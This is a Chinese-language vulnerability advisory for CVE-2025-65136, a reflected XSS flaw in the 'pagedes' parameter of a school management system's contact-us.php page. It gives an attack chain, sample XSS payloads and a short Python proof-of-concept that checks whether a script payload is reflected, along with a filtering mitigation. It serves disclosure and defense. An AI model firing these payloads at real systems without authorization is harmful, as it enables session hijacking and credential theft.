IPBUF安全漏洞报告
English
CVE-2025-65136 CVSS 6.1 中危

CVE-2025-65136: School-management-system 反射型XSS漏洞

披露日期: 2026-04-14

漏洞信息

漏洞编号
CVE-2025-65136
漏洞类型
XSS(跨站脚本攻击)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
manikandan580 School-management-system

相关标签

XSSReflected XSSSchool Management SystemCVE-2025-65136Web安全

漏洞概述

manikandan580 School-management-system 1.0版本存在反射型跨站脚本(XSS)漏洞。该漏洞位于/studentms/admin/contact-us.php页面,起因是应用程序未能正确过滤用户提交的`pagedes` POST参数。未经身份验证的远程攻击者可构造包含恶意脚本的请求,诱导用户点击,从而在受害者浏览器上下文中执行任意JavaScript代码。这可能导致Cookie窃取、会话劫持或恶意重定向,对系统安全性构成中等风险。

技术细节

该漏洞属于典型的反射型跨站脚本攻击(XSS),其根本原因在于服务端对用户输入数据的信任以及输出时缺乏必要的上下文编码。在School-management-system 1.0的contact-us.php处理逻辑中,程序直接接收HTTP POST请求中的`pagedes`参数,并将其原样嵌入到返回的HTML页面响应中,未进行任何HTML实体转义(如将`<`转换为`&lt;`)。攻击者可利用这一缺陷,构造包含恶意JavaScript代码的Payload(例如:`<img src=x onerror=alert(1)>`)。由于攻击向量为网络(AV:N)且无需认证(PR:N),攻击者可生成恶意URL或表单,诱导受害者(如系统管理员)进行交互(UI:R)。一旦受害者访问了构造好的恶意链接并提交数据,浏览器便会解析并执行其中的脚本。利用该漏洞,攻击者能够窃取受害者的Session ID、Cookie等敏感信息,进而劫持用户会话,甚至结合其他攻击手段控制服务器。

攻击链分析

STEP 1
侦察与发现
攻击者识别目标系统使用的是manikandan580 School-management-system 1.0版本,并定位到contact-us.php接口。
STEP 2
构造恶意Payload
攻击者编写针对`pagedes`参数的JavaScript代码,例如用于窃取Session或执行弹窗测试的脚本。
STEP 3
诱导用户交互
攻击者通过社会工程学手段(如钓鱼邮件),诱导管理员或用户点击包含恶意Payload的链接或提交表单。
STEP 4
执行脚本
服务器将未过滤的`pagedes`参数值反射回页面,受害者的浏览器解析并执行其中的恶意JavaScript代码。
STEP 5
达成攻击目标
恶意脚本运行,窃取受害者的Cookie、Token等凭证信息,并将其发送给攻击者控制的服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def verify_xss(target_url): # Vulnerable parameter payload = '<script>alert("CVE-2025-65136_POC")</script>' # Target endpoint endpoint = target_url + "/studentms/admin/contact-us.php" # POST data data = { "pagedes": payload } try: response = requests.post(endpoint, data=data, timeout=5) # Check if payload is reflected unescaped if payload in response.text: print("[+] Vulnerability confirmed: Reflected XSS detected.") else: print("[-] Vulnerability not detected or payload filtered.") except requests.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": # Replace with actual target IP/Domain target = "http://127.0.0.1" verify_xss(target)

影响范围

manikandan580 School-management-system 1.0

防御指南

临时缓解措施
在未升级修复前,建议管理员暂时禁用系统的Contact Us功能模块,或通过Web服务器配置(如ModSecurity)添加规则,过滤`pagedes`参数中的`<script>`、`onerror`、`onload`等危险字符。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表